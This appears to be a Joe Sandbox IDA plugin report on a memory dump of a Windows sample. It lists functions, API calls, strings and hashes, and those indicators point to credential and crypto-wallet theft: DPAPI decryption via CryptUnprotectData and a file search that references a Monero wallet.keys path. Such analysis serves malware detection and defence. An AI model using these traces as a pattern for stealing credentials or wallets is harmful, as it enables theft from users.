Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: b9ace93f22aff42e673c6abd384b8c7cf258889a669744bd005968ee59a5c96d
Instruction ID: 78ff71662b1b06ea3a5d325b6a625ae72eab64294fb29a62f8f56d852a748714
Opcode Fuzzy Hash: b9ace93f22aff42e673c6abd384b8c7cf258889a669744bd005968ee59a5c96d
Instruction Fuzzy Hash: 19113CB2904118ABDB14DFCADD45BBEB7F8FB4CB11F10411AF605A2290E7395940C7B1

Function 00957A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,015EDCB8,00000000,?,00960E10,00000000,?,00000000,00000000), ref: 00957A63
RtlAllocateHeap.NTDLL(00000000), ref: 00957A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,015EDCB8,00000000,?,00960E10,00000000,?,00000000,00000000,?), ref: 00957A7D
wsprintfA.USER32 ref: 00957AB7

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: d9d267497c000fd3f4674f37da1443ec5edcc977a8026f5911e336e93e4035c0
Instruction ID: 1a05b244546dc579d3a6e3767a7e0136c27f455db8a803cfbb6ff7fbb60eb55f
Opcode Fuzzy Hash: d9d267497c000fd3f4674f37da1443ec5edcc977a8026f5911e336e93e4035c0
Instruction Fuzzy Hash: 2511E1B0905218EBEB20CF94DC49FAAB778FB40721F00039AEA0A932D0DB341E44CF51

Function 00D0D5C0 Relevance: 5.3, Strings: 3, Instructions: 1536COMMON

Download Yara Rule

Strings

JH, xrefs: 00D0E745
7w]3, xrefs: 00D0D8CA
*hW;, xrefs: 00D0E4D0

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: JH$*hW;$7w]3
API String ID: 0-176607913
Opcode ID: 10bc786d55ed5637bad18d3eda4a9e092206aeb4dbbbc5c0fe7807fed0715fb4
Instruction ID: 1b66232034282082d49935f9f4f234d81eae88c075694ac92909b60b27ed1b64
Opcode Fuzzy Hash: 10bc786d55ed5637bad18d3eda4a9e092206aeb4dbbbc5c0fe7807fed0715fb4
Instruction Fuzzy Hash: D5A22AF3A0C6049FE304AE29EC8577AFBE5EFD4320F1A853DEAC497344E63558058696

Function 00D035E1 Relevance: 5.2, Strings: 3, Instructions: 1500COMMON

Download Yara Rule

Strings

J[w, xrefs: 00D04227
cs], xrefs: 00D03C16
?[, xrefs: 00D03F9D

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: J[w$cs]$ ?[
API String ID: 0-4010556661
Opcode ID: c1e8289ba810b1b6a6e826c70a4aa9cc036e0bef8046eb45e889a6c3cb28ab8d
Instruction ID: bf9a196884d2bad75baf3d2fe28e4c7a3eef1bec60d46e4ee096df9472fcd95c
Opcode Fuzzy Hash: c1e8289ba810b1b6a6e826c70a4aa9cc036e0bef8046eb45e889a6c3cb28ab8d
Instruction Fuzzy Hash: 67A207F360C6049FE704AE2DEC8577ABBE9EFD4620F1A863DE6C4C3744E93558058692

Function 00953720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0095E118,00000000,00000001,0095E108,00000000), ref: 00953758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 009537B0

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 6aa6d7125a2d1b500ea0ab0e61d7228aef61b087b7bff26f555a74f984009ce3
Instruction ID: e0d2948af3d835dc7238082524dae6077e2a126cbeb0f36540421d8fd47b616c
Opcode Fuzzy Hash: 6aa6d7125a2d1b500ea0ab0e61d7228aef61b087b7bff26f555a74f984009ce3
Instruction Fuzzy Hash: C641E775A40A289FDB24DF58CC95B9BB7B5BB48702F4081D8E608E72D0E771AE85CF50

Function 00949B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00949B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00949BA3
LocalFree.KERNEL32(?), ref: 00949BD3

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b3d3aef924c6331d24cbcdaa298a5c8bc0b5a0bc130bcfd8105977d436368400
Instruction ID: d14e37d093e68dcd233669bfe53d5cd36addb9fd8137160e10f13a65d50e0fed
Opcode Fuzzy Hash: b3d3aef924c6331d24cbcdaa298a5c8bc0b5a0bc130bcfd8105977d436368400
Instruction Fuzzy Hash: 5911C9B8A00209EFDB04DF94D995EAEB7B9FF88300F104599E915A7350D774AE10CFA1

Function 00CFE3AB Relevance: 4.1, Strings: 2, Instructions: 1636COMMON

Download Yara Rule

Strings

Qbbs, xrefs: 00CFE6B5
Z{&u, xrefs: 00CFF38D

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Qbbs$Z{&u
API String ID: 0-2878677978
Opcode ID: 0c27586bfe820af8dcebb8d5b746eb27e20b1a337950039159802d5766a2e606
Instruction ID: b45a242bbf6c87b7dd5df44529de8291e6a6dad0e26b2152935228ed903095f3
Opcode Fuzzy Hash: 0c27586bfe820af8dcebb8d5b746eb27e20b1a337950039159802d5766a2e606
Instruction Fuzzy Hash: 43B208F3A0C2049FE304AE2DDC8567ABBE5EF98720F1A493DEAC4C7744E63558058697

Function 00CFFEB7 Relevance: 2.8, Strings: 1, Instructions: 1582COMMON

Download Yara Rule

Strings

kgw, xrefs: 00D002BA

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: kgw
API String ID: 0-2332048456
Opcode ID: ab23652972c7f647a7804a0c85f12939ef26284cbf01b651d0d5aa7876ed75c0
Instruction ID: 3f84ee9051242e27db6423229b815e4a9140e647566f59fdabc625f7d66ca41f
Opcode Fuzzy Hash: ab23652972c7f647a7804a0c85f12939ef26284cbf01b651d0d5aa7876ed75c0
Instruction Fuzzy Hash: 4EB2F5B350C214AFE3046E6DEC8567ABBE9EF98320F1A493DEAC4C3744E63558448797

Function 0094F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0095A740: lstrcpy.KERNEL32(00960E17,00000000), ref: 0095A788

Part of subcall function 0095A920: lstrcpy.KERNEL32(00000000,?), ref: 0095A972
Part of subcall function 0095A920: lstrcat.KERNEL32(00000000), ref: 0095A982

Part of subcall function 0095A9B0: lstrlen.KERNEL32(?,015E8AB0,?,\Monero\wallet.keys,00960E17), ref: 0095A9C5
Part of subcall function 0095A9B0: lstrcpy.KERNEL32(00000000), ref: 0095AA04
Part of subcall function 0095A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0095AA12

Part of subcall function 0095A8A0: lstrcpy.KERNEL32(?,00960E17), ref: 0095A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009615B8,00960D96), ref: 0094F71E
StrCmpCA.SHLWAPI(?,009615BC), ref: 0094F76F
StrCmpCA.SHLWAPI(?,009615C0), ref: 0094F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0094FAB1
FindClose.KERNEL32(000000FF), ref: 0094FAC3

Memory Dump Source

Source File: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 14a7e0b747886da39886007e84fc6362e9af7b1f05ada66e2383b559549b66f5
Instruction ID: 712506107e73a000bfc57521f666ae5649f4e35fd07735246258363bcf88efd3
Opcode Fuzzy Hash: 14a7e0b747886da39886007e84fc6362e9af7b1f05ada66e2383b559549b66f5
Instruction Fuzzy Hash: 3811843180411D9BDB14EBA1DC65AED7378BF90301F4047A9A91A57492EF302B4ECB9A

Function 00CD686F Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

g@, xrefs: 00CD68D9

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: g@
API String ID: 0-50332989
Opcode ID: d016fb41ec036f5d9b781ea675a5074cf079cde8d3a706418cb9cd82db258366
Instruction ID: d9d753c1f2a0ddfdcca7dc8d55f647a8d0d34c1dba49725be3b0c4c38fc995ab
Opcode Fuzzy Hash: d016fb41ec036f5d9b781ea675a5074cf079cde8d3a706418cb9cd82db258366
Instruction Fuzzy Hash: 62716BF3A182049BF3046E7DDC9577BB7D9DB94320F2A863DE5C4C7780E97998058682

Function 00BB5C61 Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

F)sP, xrefs: 00BB5CC8

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F)sP
API String ID: 0-3353271891
Opcode ID: 50c3ab21e40f4c9e3bdf786f95b556d92024c3c4b066f74e40d5099bdb003753
Instruction ID: 1f267eaf8b94f9bc85561d7ebedef456517f97308b480a2db50bf8940e1de98d
Opcode Fuzzy Hash: 50c3ab21e40f4c9e3bdf786f95b556d92024c3c4b066f74e40d5099bdb003753
Instruction Fuzzy Hash: 38712BF39082049FF300AE2DEC8576BFBE5EB94720F16863DEAC483744E97599158692

Function 00C8007B Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

b{\{, xrefs: 00C801D6

Memory Dump Source

Source File: 00000000.00000002.2086569824.0000000000B9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00940000, based on PE: true

Associated: 00000000.00000002.2086323229.0000000000940000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000941000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.00000000009FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086356654.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000D20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086569824.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089244616.0000000000E3B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089980560.0000000000FD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995871.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_file.jbxd

Yara matches

Similarity

API ID:
String ID: b{\{
API String ID: 0-957799881
Opcode ID: ac601e3126c8531f5bb03b8afafcd50e93fbee34d88bb4e5d8622ab0f6594c71
Instruction ID: 3befccebecf51832115b8e6e323d44f493415c891386e6b88261b0497cebf1eb
Opcode Fuzzy Hash: ac601e3126c8531f5bb03b8afafcd50e93fbee34d88bb4e5d8622ab0f6594c71
Instruction Fuzzy Hash: 7A6132F3A087149BE3106E2EDCC17BAF7D9EF54360F1A463DDA8883784E57A5C008696

Function 00C2056B Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

ZF~, xrefs: 00C206DF

Memory Dump Source

